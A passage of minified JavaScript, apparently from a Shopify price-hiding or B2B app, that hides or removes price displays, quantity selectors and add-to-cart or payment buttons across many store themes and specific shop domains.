e=s.querySelector(".quickshop-btn");if(e&&t.push(e),"shrimptoncouture-com.myshopify.com"===o){let e=s.querySelector(".ProductItem__PriceList");e&&e.classList.remove("ProductItem__PriceList")}}if(s=c.closest(".product-item--vertical"),s){if("sparklinbluewholesale.myshopify.com"===o){let e=s.querySelector(".product-item__info .product-item__price-list");e&&t.push(e)}let e=s.querySelector(".product-item__info .product-item__action-button");e&&t.push(e),e=s.querySelector(".product-form__payment-container"),e&&t.push(e)}if(s=c.closest(".card-wrapper.underline-links-hover"),s&&"friends-forever-pets.myshopify.com"===o){let e=s.querySelector(".card__content .quick-add");e&&t.push(e);let o=s.querySelector(".card-information .price__sale .price-item.price-item--regular");o&&t.push(o)}if(s=c.closest(".modal_price"),s&&window.Shopify&&"casa-barba.myshopify.com"!==window.Shopify.shop&&"prideandgroom-wholesale.myshopify.com"!==window.Shopify.shop){let e=s.querySelector(".price-ui");e&&t.push(e)}if(s=c.closest(".info.has-padding-top"),s){let e=s.querySelector(".compare-at-price");e&&t.push(e)}if(s=c.closest(".product-thumbnail__price.price"),s){let e=s.querySelector(".money");e&&t.push(e)}if(s=c.closest(".search-result__description"),s){let e=s.querySelector(".money");e&&t.push(e)}if(s=c.closest(".product__price"),s){let e=s.querySelector("[data-product-price][bss-custom-ltsp-attribute]");e&&t.push(e)}if(s=c.closest("#template-product"),s){let e=s.querySelector(".product-form.cart-bar__form");e&&t.push(e)}if("showroom1-ducanero.myshopify.com"===o){if(s=c.closest(".product-area")||c.closest(".price"),s){let e=s.querySelector(".price-area")||s.querySelector(".theme-money");e&&t.push(e)}}else if(s=c.closest(".product-area__details"),s){let e=s.querySelector(".product-detail__form__action");e&&t.push(e);let o=s.querySelector(".quantity-wrapper");o&&t.push(o)}if("quincaillerie-euroline.myshopify.com"===o&&(s=c.closest(".product-form__info-content"),s)){let e=s.querySelector(".price-list");e&&t.push(e)}if(s=c.closest(".product-form__buttons"),s&&t.push(s),s=c.closest(".product-wrap-2"),s){let e=s.querySelector(".product-action-2");e&&t.push(e)}if(s=c.closest(".span6"),s){let e=s.querySelector(".purchase>input"),o=s.querySelector(".price-container>#price-preview"),r=s.querySelector(".price-container>.vat-price");e&&t.push(e),o&&t.push(o),r&&t.push(r)}if(s=c.closest(".product__page"),s){let e=s.querySelector(".quantity-selector");e&&t.push(e)}if(s=c.closest(".product_details_info"),s){let e=s.querySelector(".pro-detail-button"),o=s.querySelector(".price-box");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".product-content"),s){let e=s.querySelector(".product-action");e&&t.push(e)}if(s=c.closest(".product-view .single-product-wrap"),s){let e=s.querySelector(".add-to-cart");e&&t.push(e)}if(s=c.closest(".collection-category .owl-stage .owl-item"),s){let e=s.querySelector(".add-to-cart");e&&t.push(e)}if(s=c.closest(".product__details"),s){let e=s.querySelector(".product-wrap .thumbnail-overlay .info .price ");e&&t.push(e);let o=s.querySelector(".product-details .price  .current_price .money ");o&&t.push(o)}if(s=c.closest(".product_row"),s){let e=s.querySelector(".three-fourths .info .price ");e&&t.push(e)}if(s=c.closest(".thubnail-desc"),s){let e=s.querySelector(".quatity-stock");e&&t.push(e);let o=s.querySelector(".Payment_button");o&&t.push(o)}if(s=c.closest(".single-ponno-product"),s){let e=s.querySelector(".pro-actions-link");e&&t.push(e);let o=s.querySelector(".pro-add-cart");o&&t.push(o)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector("div.product-form__controls-group.product-form__controls-group--submit");e&&e.setAttribute("style","visibility:hidden")}if("homewarerus.myshopify.com"!=window.Shopify.shop&&(s=c.closest(".product-item__info"),s)){let e=s.querySelector("form.product-item__action-list.button-stack");e&&e.remove()}
13033if("bluebasketb2b.myshopify.com"===window.Shopify.shop){if(s=c.closest(".card-information"),s){let e=s.querySelector(".price__sale .price-item--sale.sale-percentage");e&&t.push(e)}if(s=c.closest("tr.cart-item[id*=Cart]"),s){let e=s.querySelector(".cart-item__quantity");e&&e.remove();let t=s.querySelector(".cart-item__totals");t&&t.remove()}}if(s=c.closest(".product-form"),s){let e=s.querySelector(".quantity-submit-row__submit");e&&e.remove();let o=s.querySelector(".product-form__info-list .product-form__info-item.product-form__info-item--quantity .product-form__info-content .quantity-selector.quantity-selector--product");o&&t.push(o)}if(s=c.closest(".product-grid__detail"),s){let e=s.querySelector(".product-form-block form");e&&e.remove()}if(s=c.closest(".tab-body"),s){if(s.querySelector(".purchase-section button, .btn.add-to-cart")){let e=setInterval((function(){let e=document.querySelector(".tab-body .purchase-section button, .tab-body .btn.add-to-cart"),t=document.querySelector(".swym-button-bar.swym-wishlist-button-bar");e&&e.remove(),t&&t.remove()}),200);setTimeout((function(){clearInterval(e)}),1e4)}}if(s=c.closest(".item.relative.product-id.item-row"),s){let e=s.querySelector(".quantity.form");e&&e.remove()}if(s=c.closest(".product-form"),s){let e=s.querySelector(".buy-buttons-row");e&&t.push(e)}if(s=c.closest(".product-grid-item"),s){let e=s.querySelector(".btn--quick-view");e&&t.push(e)}if(s=c.closest(".featured__collection-product"),s){let e=s.querySelector(".js-quickview-trigger");e&&t.push(e)}if(s=c.closest(".product-index"),s){let e=s.querySelector(".js-quickview-trigger");e&&t.push(e)}if(s=c.closest(".product-bottom"),s){let e=s.querySelector(".quantity-selector, .product-add");e&&t.push(e)}if(s=c.closest(".js-sticky-cart"),s){let e=s.querySelector(".sticky-add");e&&t.push(e)}if(s=c.closest(".product-details"),s){let e=s.querySelector(".shopify-payment-button");e&&t.push(e);let r=s.querySelector(".payment-and-quantity__add");r&&t.push(r);let c=s.querySelector(".price__compare-at.visible");c&&"coventa-demo.myshopify.com"===o&&t.push(c)}if(s=c.closest(".product-block__inner"),s){let e=s.querySelector(".quick-buy");e&&t.push(e)}if(s=c.closest(".content-summary"),s){let e=s.querySelector("form.cart");e&&t.push(e)}if(s=c.closest('div[data-pf-type="Section"]'),s){let e=s.querySelector('div[data-pf-type="ProductQuantity"]');e&&t.push(e);let o=s.querySelector('button[data-pf-type="ProductATC"]');o&&t.push(o)}if(s=c.closest(".pc-inner"),s){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e);let o=s.querySelector(".quick_shop");o&&t.push(o)}if(s=c.closest(".product-info-inner"),s){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e)}if(s=c.closest(".product-details-inline"),s){let e=s.querySelector(".product-quantity");e&&t.push(e)}if(s=c.closest(".product-card"),s){let e=s.querySelector(".js-grid-cart");e&&t.push(e);let o=s.querySelector(".card-header .card-button-hover");o&&t.push(o);let r=s.querySelector(".product-card__quick-buy");r&&t.push(r);let c=s.querySelector("compare-at-price");c&&t.push(c);let l=s.querySelector(".product-card__badge-list");l&&t.push(l)}if(s=c.closest(".product__info"),s){let e=s.querySelector(".product-form__buy-buttons button");e&&t.push(e);let o=s.querySelector(".product-form__quantity");o&&t.push(o)}if(s=c.closest(".product-sticky-form__inner"),s){let e=s.querySelector(".product-sticky-form__payment-container");e&&t.push(e)}if("homewarerus.myshopify.com"!=window.Shopify.shop&&(s=c.closest(".product-item"),s)){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e);let o=s.querySelector(".product-item__quick-form");o&&t.push(o)}if(s=c.closest(".shopify-product-form"),s){let e=s.querySelector("div.quantity");e&&t.push(e)}if(s=c.closest(".product-body"),s){let e=s.querySelector(".product-cta-wrapper");e&&t.push(e)}if(s=c.closest(".tt-product-single-info"),s){let e=s.querySelector("form .btn-addtocart");e&&t.push(e);let o=s.querySelector('form[action*="/cart/add"]');o&&t.push(o)}if(s=c.closest(".product-details-wrapper"),s){let e=s.querySelector(".product-form");e&&t.push(e)}if(s=c.closest(".product-inner"),s){let e=s.querySelector(".product-card-interactions");e&&t.push(e)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector(".add-to-cart");if(e)if(window.Shopify&&"bundlecomph.myshopify.com"===window.Shopify.shop){e.disabled=!0;let o=s.querySelector(".payment-buttons"),r=s.querySelector(".shopify-payment-button");o&&o.classList.remove("payment-buttons"),r&&t.push(r)}else t.push(e)}if(s=c.closest(".grid-view-item"),s){let e=s.querySelector(".thumbnail-buttons");e&&t.push(e)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector(".product-form:not(.product-form-product--static):not(.product-form-product-template)");e&&t.push(e)}if(s=c.closest(".pf-product-form"),s){let e=s.querySelector(".sc-lkgURy");e&&t.push(e);let o=s.querySelector(".sc-gzcbmu");o&&t.push(o);let r=s.querySelector(".add-to-cart");r&&t.push(r)}if(s=c.closest(".large--one-half"),s){let e=s.querySelector(".product-smart-wrapper");e&&t.push(e);let o=s.querySelector('div.btn[onmouseup="showProductsDesigner(this)"]');o&&t.push(o);let r=s.querySelector("button.js-prod-show-soldout");r&&t.push(r)}if(s=c.closest("#add-to-cart-form"),s)if("led-signcity.myshopify.com"===o){let e=s.querySelector(".atc-btn");e&&t.push(e);let o=s.querySelector(".price");o&&o.classList.remove("price")}else{let e=s.querySelector(".groups-btn");e&&t.push(e),t.push(c)}
13033if(s=c.closest(".product-shop"),s&&"led-signcity.myshopify.com"!==o){let e=s.querySelector(".groups-btn");e&&t.push(e)}if(s=c.closest(".who-qof-table"),s&&s.classList.add("bsscommerce-hide-price"),s=c.closest(".price-sale"),s){let e=s.querySelector(".old-price");e&&t.push(e);let o=s.querySelector("em");o&&(o.innerHTML="")}if(s=c.closest(".product-details"),s){let e=s.querySelector(".action");e&&t.push(e)}if(s=c.closest(".product_section"),s){let e=s.querySelector("form .add_to_cart, form .b2b-ajax-submit");e&&t.push(e);let o=s.querySelector(".sale.savings");o&&t.push(o);let r=s.querySelector(".purchase-details button.button--add-to-cart");r&&t.push(r);let c=s.querySelector(".purchase-details .purchase-details__quantity.product-quantity-box");c&&t.push(c);let l=s.querySelector(".product__details .modal_price .price-ui");l&&t.push(l)}if(s=c.closest(".quick-shop-style--inline"),s){let e=s.querySelector("form .add_to_cart, form .b2b-ajax-submit");e&&t.push(e)}if(s=c.closest(".product-details"),s){let e=s.querySelector("small em");e&&t.push(e)}if(s=c.closest(".gt_product-body"),s){let e=s.querySelector("form .gt_product-addtocart");e&&t.push(e);let o=s.querySelector(".gt_product-saved");o&&t.push(o);let r=s.querySelector(".gt_product-price--compare");r&&t.push(r)}if(s=c.closest(".gt_product_content"),s){let e=s.querySelector("form .gt_product-addtocart");e&&t.push(e);let o=s.querySelector(".gt_product-price--compare");o&&t.push(o)}if(s=c.closest(".gt-single-product"),s){let e=s.querySelector("div.gt_method_addToCart");e&&t.push(e);let o=s.querySelector(".gt_product-price--compare");o&&t.push(o)}if(s=c.closest("#cont-form"),s){let e=s.querySelector("form .cont-add-btns");e&&t.push(e)}if(s=c.closest(".theiaStickySidebar"),s){let e=s.querySelector(".variations_button");e&&t.push(e)}if(s=c.closest(".product--price-wrapper"),s){let e=s.querySelector(".product--compare-price");e&&t.push(e)}if(s=c.closest(".product-submit"),s){let e=s.querySelector(".payment-buttons-container");e&&t.push(e)}if(s=c.closest(".product-price"),s){let e=s.querySelector(".product-price-compare");e&&t.push(e)}if(s=c.closest(".product-list-item"),s){let e=s.querySelector(".original"),o=s.querySelector(".product-list-item-badge");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".productitem"),s){let e=s.querySelector(".productitem--action");e&&t.push(e);let o=s.querySelectorAll(".bss-ltsp-to-remove");if(o.length)for(let e of o)t.push(e)}if(s=c.closest(".product--outer"),s){let e=s.querySelector(".product-form--atc");e&&t.push(e),e=s.querySelector(".shopify-payment-button"),e&&t.push(e)}if(s=c.closest(".Container"),s)if(window.Shopify&&"mama-shawna.myshopify.com"===window.Shopify.shop){let e=s.querySelector("form.ProductForm");if(window.__st&&e){__st.cid&&t.push(e)}}else{let e=s.querySelector(".ProductForm__BuyButtons");e&&t.push(e)}if(s=c.closest(".product-grouped"),s){let e=s.querySelector(".product_top form#add-to-cart-form");e&&t.push(e)}if(s=c.closest(".product-item"),s){let e=s.querySelector(".product-top .product-des .action"),o=s.querySelector(".slideup");if(e&&t.push(e),o&&t.push(o),o=s.querySelector(".card-quickview"),o&&t.push(o),window.Shopify&&"sitchish.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".product-item-price .money");e&&e.classList.remove("money")}}if(s=c.closest(".modal_price"),s){let e=s.querySelector(".was_price");e&&t.push(e)}if(s=c.closest(".info"),s){let e=s.querySelector(".was_price");e&&t.push(e)}if(s=c.closest(".product-item"),s){let e=s.querySelector('.product-item__action-button[data-action="add-to-cart"]');e&&t.push(e)}if(s=c.closest(".grid__item.grid-product"),s){let e=s.querySelector('form[action="/cart/add"] input[type="submit"]');e&&t.push(e);let r=s.querySelector(".grid-product__tag");r&&t.push(r);let c=s.querySelector(".visually-hidden");c&&t.push(c);let l=s.querySelector(".quick-product__btn");l&&"comphycompany.myshopify.com"===o&&t.push(l)}if(s=c.closest(".product-info"),s){let e=s.querySelector('form[action="/cart/add"] .payment-buttons');e&&t.push(e);let o=s.querySelector(".variant-wrapper.variant-wrapper--button");o&&t.push(o);let r=s.querySelector(".form .product-actions .product-actions-add-to-cart");r&&t.push(r);let c=s.querySelector(".product-price__compare");
13033c&&t.push(c),c=s.querySelector("compare-at-price"),c&&t.push(c);let l=s.querySelector("unit-price");l&&t.push(l),e=s.querySelector(".buy-buttons"),e&&t.push(e);let u=s.querySelector(".product-info__badge-list");u&&t.push(u)}if(s=c.closest(".price"),s){if(s.textContent.includes("From")){let e=s.innerHTML;s.innerHTML=e.replace("From","")}}if(s=c.closest("#product-right"),s){let e=s.querySelector(".was");e&&t.push(e);let o=s.querySelector(".product-add");o&&t.push(o)}if(s=c.closest(".was"),s&&t.push(s),s=c.closest(".product-single__meta"),s){let e=s.querySelector(".pf__actions");e&&t.push(e);let o=s.querySelector("div.product-form__controls-group.product-form__controls-group--submit");o&&o.setAttribute("style","visibility:hidden")}if(s=c.closest(".product-item"),s){let e=s.querySelector(".product-item__add");e&&t.push(e)}if(s=c.closest(".grid-item"),s){let e=s.querySelector("#addToCart-product-template");e&&t.push(e);let o=s.querySelector(".payment-buttons");o&&t.push(o)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector("div.payment-buttons");e&&e.remove()}if(s=c.closest(".modal--root"),s){let e=s.querySelector(".product-form--button-container");e&&t.push(e)}if(s=c.closest(".product-item__info"),s){let e=s.querySelector("a.product-item__action-button.button.button--small.button--primary");e&&t.push(e)}if(s=c.closest(".product-form__info-list"),s){let e=s.querySelector("div.product-form__info-item.product-form__info-item--quantity");e&&t.push(e)}if(s=c.closest(".large--three-fifths"),s){let e=s.querySelector(".multivariants_setbox_footer");e&&t.push(e)}if(s=c.closest(".product-info-main"),s){let e=s.querySelector(".qty-box");e&&t.push(e);let o=s.querySelector(".btn.btn-cart");o&&t.push(o);let r=s.querySelector(".shopify-payment-button");r&&t.push(r)}if(s=c.closest(".product-miniature"),s){let e=s.querySelector(".qty-box");e&&t.push(e);let o=s.querySelector(".product.actions.product-item-actions");o&&t.push(o)}if(s=c.closest("#AddToCartForm"),s){let e=s.querySelector(".paymentButtonsWrapper");e&&t.push(e)}if(s){let e=s.querySelector("#product-add");e&&e.remove()}if(s){let e=s.querySelector("#product-price>.product-price");e&&e.remove()}if(s=c.closest(".grid-view-item"),s){let e=s.querySelector(".quick-add-button");e&&t.push(e)}if("tinalykkegaard.myshopify.com"===o){if(s=c.closest(".main-product__details>.main-product__details-wrapper"),s){let e=s.querySelector(".main-product__actions .main-product__form-buttons");e&&e.remove()}if(s=c.closest(".product-grid .product-card"),s){let e=s.querySelector('form[action="/cart/add"]');e&&e.remove()}}if(s=c.closest(".product-item-caption"),s){let e=s.querySelector(".product-form__item--submit");e&&t.push(e)}if(s=c.closest(".product-item-caption"),s){let e=s.querySelector(".product-form__item--quantity");e&&t.push(e)}if(s=c.closest(".productgrid--item"),s){let e=s.querySelector(".productitem--actions");e&&t.push(e)}if(s=c.closest(".product-single__info-wrapper"),s){let e=s.querySelector(".product-form__quantity-submit");e&&t.push(e);let o=s.querySelector(".shopify-payment-button");o&&t.push(o)}if(s=c.closest(".qv-content"),s){let e=s.querySelector(".qv-add-button");e&&t.push(e);let o=s.querySelector(".qv-quantity");o&&t.push(o)}if(s=c.closest(".product-card"),s){let e=s.querySelector(".btn-grid-cart");e&&t.push(e)}if(s=c.closest(".product_single_detail_section"),s){let e=s.querySelector("#AddToCart");e&&t.push(e);let o=s.querySelector(".shopify-payment-button__button");o&&t.push(o);let r=s.querySelector(".quantity-label");r&&t.push(r);let c=s.querySelector(".quantity_width");c&&t.push(c)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector("#AddToCart--product-template");e&&t.push(e);let o=s.querySelector(".shopify-payment-button");o&&t.push(o)}if(s=c.closest('form[action="/cart/add"]'),s){let e=s.querySelector(".product-page-info__field");e&&t.push(e);let o=s.querySelector(".product-page-info__button-add-to-cart");o&&t.push(o);let r=s.querySelector(".js-store-lists-add-wishlist");r&&t.push(r);let c=s.querySelector(".product-collection__control");c&&t.push(c)}if(s=c.closest(".grid-item__content"),s){let e=s.querySelector(".quick-add-btn");if(e&&t.push(e),window.Shopify&&"sparklinbluewholesale.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".grid-product__price--original"),o=s.querySelector(".grid-product__price--savings"),r=s.querySelector(".quick-product__btn");e&&t.push(e),o&&t.push(o),r&&t.push(r)}}if(s=c.closest(".purchase-box"),s){let e=s.querySelector("#AddToCart-product-template");e&&e.remove();let t=s.querySelector(".quantity-product-template");t&&t.remove()}if(s=c.closest(".item-row"),s){let e=s.querySelector(".add-to-cart");e&&t.push(e)}if(s=c.closest(".product-thumbnail__price"),s){let e=s.querySelectorAll(".bsscommerce-ltsp-message");e.length>1&&e.forEach((function(e,o){o>0&&t.push(e)}))}if(s=c.closest(".product-details"),s){let e=s.querySelector(".product__add-to-cart-button");e&&t.push(e);let r=s.querySelector(".product-form__quantity-box-wrapper");if(r&&t.push(r),"sitchish.myshopify.com"===o){let e=s.querySelector("#product-price");e&&(e.id="");let o=s.querySelector("[data-product-price]");o&&o.removeAttribute("data-product-price");let r=s.querySelector(".form-actions");r&&t.push(r)}let c=s.querySelector(".product-quantity");if(c&&t.push(c),"lavabis-hygiene.myshopify.com"===o){let e=s.querySelector(".price-preview.price");e&&(e.id="")}}if(s=c.closest(".product-details"),s){let e=s.querySelector("#add-to-cart-product-template");e&&t.push(e);let o=s.querySelector(".shopify-payment-button__button");o&&o.remove();let r=s.querySelector(".quantity");r&&t.push(r)}if(s=c.closest(".gryffeditor"),s){let e=s.querySelector(".gf_product-quantity");e&&e.parentElement.remove()}if(s=c.closest("#ProductSection-product-template"),s){let e=s.querySelector(".cbb
13033-frequently-bought-add-button");e&&e.remove();let t=s.querySelector(".cbb-frequently-bought-form");t&&t.remove()}if(s=c.closest(".product__info-wrapper"),s){let e=s.querySelector(".product-form__quantity");e&&e.remove();let t=s.querySelector(".product-form__buttons");t&&t.remove()}if(s=c.closest(".product-form"),s){let e=s.querySelector(".product-form__payment-container");e&&e.remove();let o=s.querySelector("#price");if(o&&o.classList.remove("product-price"),window.Shopify&&"wilkens-gmbh.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".unit-price");e&&t.push(e)}}if(s=c.closest(".product-details"),s){let e=s.querySelector(".button-common");e&&e.remove()}if(s=c.closest(".caption"),s){let e=s.querySelector(".button.btn-cart");e&&t.push(e)}if(s=c.closest(".product-info-main"),s){let e=s.querySelectorAll(".form-group")[1];e&&t.push(e);let o=s.querySelector(".price");o&&(o.id="")}if(s=c.closest(".form_buy_sticky"),s){let e=s.querySelector(".form-group .btn.button.button-cart");e&&t.push(e);let o=s.querySelector(".form-group input#Quantity");o&&t.push(o)}if(s=c.closest(".product-template__container"),s){let e=s.querySelector(".store-availability-container");e&&e.remove()}if(s=c.closest(".product-form--container"),s){let e=s.querySelector(".product-form--options");e&&t.push(e);let o=s.querySelector(".product-form--smart-payment-buttons");o&&t.push(o)}if(s=c.closest(".product--price-wrapper"),s){let e=s.querySelector('.product--from[data-item="accent-text"]');e&&t.push(e)}if(s=c.closest("#zpproductselectorfull1-wrapper"),s){let e=s.querySelector(".zpa-button-alignment-center");e&&t.push(e);let o=s.querySelector(".zpa-quantity-block");o&&t.push(o)}if(s=c.closest(".zpa-multi-product-buy-box"),s){let e=s.querySelector(".zpa-button-alignment-center");e&&t.push(e)}if(s=c.closest(".product-block__inner"),s){let e=s.querySelector('form[action="/cart/add"].product-form.product-form--mini');if(e&&t.push(e),window.Shopify&&"wilkens-gmbh.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".unit-price");e&&t.push(e)}}if(s=c.closest(".was-price.theme-money"),s&&t.push(s),s=c.closest(".box_product_page"),s){let e=s.querySelector(".product-options-bottom");e&&t.push(e)}if(s=c.closest(".product-default"),s){let e=s.querySelector(".add-links.clearfix");e&&t.push(e)}if(s=c.closest(".grid__item.medium-up--three-eighths"),s){let e=s.querySelector('form[action="/cart/add"].shopify-product-form');e&&t.push(e)}if(s=c.closest(".indiv-product"),s){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e)}if(s=c.closest('form.product-form[action="/cart/add"]'),s){let e=s.querySelector(".sf__pcard-image .sf__pcard-quick-add");e&&t.push(e);let o=s.querySelector(".main-product__block-buy_buttons");o&&t.push(o)}if(s=c.closest(".product-grid-item.woodmart-hover-base"),s){let e=s.querySelector(".fade-in-block");e&&t.push(e);let o=s.querySelector(".product-compare-button");o&&t.push(o)}if(s=c.closest(".grid__item"),s){if("www-bonmatch-com.myshopify.com"===o){let e=s.querySelector(".selector-wrapper.bcpo-file"),o=s.querySelector(".uploadkit.uploadkit-injected"),r=s.querySelector(".uploadkit-form");e&&t.push(e),o&&r&&r.appendChild(o)}let e=s.querySelector(".product__submit__buttons");e&&t.push(e);let r=s.querySelector(".products > .product-detail > .product-button"),c=s.querySelector(".products > .product-container > .product-button > .quick-view-text");r&&t.push(r),c&&t.push(c);let l=s.querySelector("button#AddToCart"),u=s.querySelector('[data-shopify="payment-button"].shopify-payment-button');if(l&&t.push(l),u&&t.push(u),"tienda-suca-bikes.myshopify.com"===o){let e=s.querySelector(".product__unit-price.product__unit-price--spacing"),t=s.querySelector(".c_p-quantity-input-parent"),o=s.querySelector(".masIva"),r=s.querySelector(".c_col-sw-btn");e&&e.classList.remove("hide"),t&&t.remove(),o&&o.remove(),r&&r.remove()}if("youchique-4183.myshopify.com"===o){let e=s.querySelector(".card-information__button");e&&t.push(e);let o=s.querySelector(".swym-wishlist-button-bar");o&&t.push(o)}if("stelladetailsb2b.myshopify.com"===o){let e=s.querySelector(".bss-b2b-product-vat");e&&t.push(e);let o=s.querySelector("#bss-b2b-tax-inc-excl");o&&t.push(o);let r=s.querySelector(".bss-b2b-collection-item-vat");r&&t.push(r);let c=s.querySelector(".price__regular");if(c){c.classList.remove("price__regular");let e=s.querySelector(".price-item--regular");e&&e.classList.remove("price-item--regular")}let l=s.querySelector(".price__sale");l&&t.push(l)}let i=s.querySelector("quick-view-drawer");
13033i&&t.push(i);let p=s.querySelector("add-to-cart");p&&t.push(p)}if(s=c.closest(".shop-the-look__product-info"),s){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e)}if(s=c.closest(".popover.popover--quick-buy"),s){let e=s.querySelector(".product-form__buy-buttons");e&&t.push(e)}if(s=c.closest(".product__section.product-template .product__section-content .product__section-details"),s){let e=s.querySelector('form[action="/cart/add"] input#addToCart');e&&t.push(e)}if(s=c.closest(".product-item__info-inner"),s){let e=s.querySelector(".unit-price-measurement");e&&t.push(e)}if(s=c.closest(".product-form__info-item"),s){let e=s.querySelector(".unit-price-measurement");e&&t.push(e)}if(s=c.closest("div[data-product-blocks]"),s){let e=s.querySelector(".payment-buttons");e&&t.push(e);let o=s.querySelector(".spt-wishlist-button__wrapper");o&&t.push(o)}if(s=c.closest(".sf__pcard-content.text-center"),s){let e=s.querySelector("button.add-to-cart.sf__btn");e&&t.push(e)}if(s=c.closest(".product-details.section"),s){let e=s.querySelector('form#AddToCartForm.product-content-inner[action="/cart/add"]');e&&t.push(e)}if(s=c.closest(".search-item .product-item, .product-grid-row .product-item"),s){let e=s.querySelector(".product-img .action-btn");e&&t.push(e)}if(s=c.closest(".product-collection__content,.product-page-info"),s){let e=s.querySelector(".js-product-button-add-to-cart");e&&t.push(e)}if(s=c.closest(".details-info"),s){let e=s.querySelector(".group-button .add-to-cart");e&&t.push(e)}if(s=c.closest(".product-collection"),s){let e=s.querySelector(".group-button .add-to-cart");e&&t.push(e)}let u=c.closest("[data-js-product-price]");if(u&&u.setAttribute("bss-ltsp-active",""),s=c.closest(".product__info-container"),s){let e=s.querySelector('.form[data-type="add-to-cart-form"] > .shopify-payment-button[data-shopify="payment-button"]');e&&t.push(e)}if(s=c.closest(".products"),s){let e=s.querySelector(".product-container > .product-button > .variants > .add-cart-btn"),o=s.querySelector(".product-container > .product-button > .quick-view-text");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".dt-sc-tabs-container"),s){let e=s.querySelector(".dt-sc-tabs-content > .tab2 > .owl-stage-outer > .owl-stage > .owl-item > .item-row > .products > .product-container > .product-button > .variants > .add-cart-btn");e&&t.push(e)}if(s=c.closest(".wrapper-container"),s){let e=s.querySelector(".recently-viewed-products > .products-grid > .grid__item > .product-item > .products > .product-bottom > .price-box > .regular-product > .special-price"),o=s.querySelector(".recently-viewed-products > .products-grid > .grid__item > .product-item > .products > .product-bottom > .action > .variants > .add-to-cart-btn");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".featured__collection-product.product-index"),s){let e=s.querySelector(".product_listing_options");e&&t.push(e)}if(s=c.closest(".product-index"),s){let e=s.querySelector(".product_listing_options");e&&t.push(e)}if(s=c.closest(".product__section-details"),s){let e=s.querySelector(".product__section-details__inner
13033--product_buttons");e&&t.push(e)}if(s=c.closest(".product-page--cart-form-block"),s){let e=s.querySelector(".add-to-cart");e&&t.push(e)}if(s=c.closest(".price__sale"),s){let e=s.querySelector(".price-item--regular");e&&t.push(e)}if(s=c.closest(".product-item-v1"),s){let e=s.querySelector(".price-old"),o=s.querySelector(".product-icon-action");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".detail-info > .relative"),s){let e=s.querySelector("#AddToCartForm > .btn-action"),o=s.querySelector('div.shopify-payment-button[data-shopify="payment-button"]'),r=s.querySelector(".product-price > del");e&&t.push(e),o&&t.push(o),r&&t.push(r)}if(s=c.closest(".product-details"),s){let e=s.querySelector(".product-block--form>.product-form--regular");e&&"eurosafetysystems.myshopify.com"!==o&&e.remove();let t=s.querySelector(".button-cart");t&&t.remove()}if("annabellenoeldesigns-com.myshopify.com"==o&&(s=c.closest(".product-block-list__item .card__section"),s)){let e=s.querySelector("#MULTIVARIANTS_APP_SECTION_PLACE .multivariants_block_qty_box");e&&e.remove();let t=s.querySelector("#MULTIVARIANTS_APP_SECTION_PLACE .multivariants_block_last_holder .multivariants_block_prc_holder");t&&t.remove();let o=s.querySelector("#MULTIVARIANTS_APP_SECTION_PLACE #multivariants_add_to_cart_button_h");o&&o.remove();let r=s.querySelector("#MULTIVARIANTS_APP_SECTION_PLACE #multivariants_block_subtotal_h");r&&r.remove()}if("fedua-b2b.myshopify.com"==o){if(s=c.closest(".gp-product-detail .container"),s){let e=s.querySelector(".gp-product-main-button button[type='submit']");e&&e.remove();let t=s.querySelector(".cbb-also-bought-add-to-cart-button");t&&t.remove();let o=s.querySelector(".cbb-also-bought-product-price-container");o&&o.remove()}if(s=c.closest(".gp-product-widget .product-card-grid"),s){let e=s.querySelector(".product-buttons .btn-quick-view ");e&&e.remove()}}if(s=c.closest(".product--price-container"),s){let e=s.querySelectorAll(".product--price-wrapper > a");e.length&&e.forEach(e=>e.remove())}if("linis-bites-b2b.myshopify.com"==window.location.host&&c.querySelector("[bss-customize-ltsp-message]")){let e=c.closest(".price .price__container");if(e){let o=e.querySelector(".unit-price.caption");o&&t.push(o)}}if(s=c.closest(".product-price--wrapper"),s){let e=s.querySelector(".product-price--compare");e&&e.remove()}if(s=c.closest(".price__pricing-group"),s){let e=s.querySelector(".price-item.price-item--regular[data-regular-price]");e&&(e.classList.remove("price-item"),e.classList.remove("price-item--regular"))}if(l.forEach((function(e){c.closest(e)&&t.push(c.closest(e))})),s=c.closest(".product-page-info"),s){let e=s.querySelector("[data-js-footbar-product-limit]");e&&t.push(e)}if(s=c.closest(".product-wrap"),s){let e=s.querySelector(".purchase-details button.button--add-to-cart"),o=s.querySelector(".product-action");if(e&&t.push(e),o&&t.push(o),window.Shopify&&"dermafirmusa.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".price.sale");e&&t.push(e)}}if(s=c.closest(".seven.columns.omega"),s){let e=s.querySelector(".purchase-details__buttons button.shopify-payment-button__button ");e&&t.push(e)}if(s=c.closest("#collectionPr"),s){let e=s.querySelectorAll("#PageContainer .collection .btn.add-to-cart");e.length&&e.forEach(e=>{t.push(e)})}if(s=c.closest(".grid.product-single"),s){let e=s.querySelector('#PageContainer .wrap-product-info button[type="submit"].btn.btn1.pr_btn.addtocart_js');e&&t.push(e)}if(s=c.closest(".gryffeditor"),s){let e=s.querySelector(".module-wrap .gf_add-to-cart.product-form-product-template");e&&t.push(e)}if(s=c.closest(".product-single .product-single__meta"),s){let e=s.querySelector('.product-form__item button[name="add"].product-form__cart-submit');e&&t.push(e)}if(s=c.closest(".shopify-product-form"),s){let e=s.querySelector("#product-price");e&&t.push(e)}if(s=c.closest(".product-item-price"),s){let e=s.querySelector(".money");e&&t.push(e)}if(s=c.closest('main#main[role="main"]'),s){let e=s.querySelector("div.atc-bar");e&&t.push(e)}if(s=c.closest("#CartDrawer"),s){let e=s.querySelector("#CartDrawer-CartItems .cart-item .cart-item__details dl 